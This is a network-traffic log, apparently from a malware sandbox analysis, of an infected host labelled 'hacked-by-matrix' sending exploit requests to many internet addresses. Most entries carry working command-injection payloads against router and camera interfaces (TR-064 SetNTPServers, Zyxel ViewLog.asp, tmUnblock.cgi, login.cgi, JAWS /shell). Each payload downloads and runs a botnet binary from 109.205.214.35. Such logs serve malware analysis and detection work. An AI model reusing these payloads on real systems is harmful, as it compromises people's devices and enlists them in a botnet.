Mar 21, 2024 05:17:43.724704981 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.13	54882	149.109.135.21	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.786072969 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:45.011873007 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:46.454885960 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:49.491822958 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:55.379829884 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:06.899821043 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.219850063 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.13	60524	38.11.233.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.798032045 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:44.095892906 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.13	51956	172.64.194.177	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.849725962 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.13	36420	72.212.13.238	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.852541924 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.13	57738	206.189.175.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.872210979 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:44.046900988 CET	360	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html Content-Length: 182 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 21, 2024 05:17:44.046982050 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 21, 2024 05:17:44.389125109 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 21, 2024 05:17:44.956578970 CET	703	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html Content-Length: 182 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 38 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>HTTP/1.1 400 Bad RequestServer: nginx/1.14.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:17:43 GMTContent-Type: text/htmlContent-Length: 182Connection: close<html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.13	43300	23.208.79.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.872611046 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:44.256042004 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:17:44 GMT Date: Thu, 21 Mar 2024 04:17:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 36 39 32 39 31 31 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 36 36 34 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.69291102.1710994664.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.13	50642	178.62.250.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.872797012 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:44.047478914 CET	496	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"62c685a0-157" Content-Encoding: gzip Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Mar 21, 2024 05:17:44.047679901 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.13	46608	80.60.112.75	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.883333921 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:44.072248936 CET	491	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 345 Date: Thu, 21 Mar 2024 04:17:43 GMT Server: lighttpd/1.4.35 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
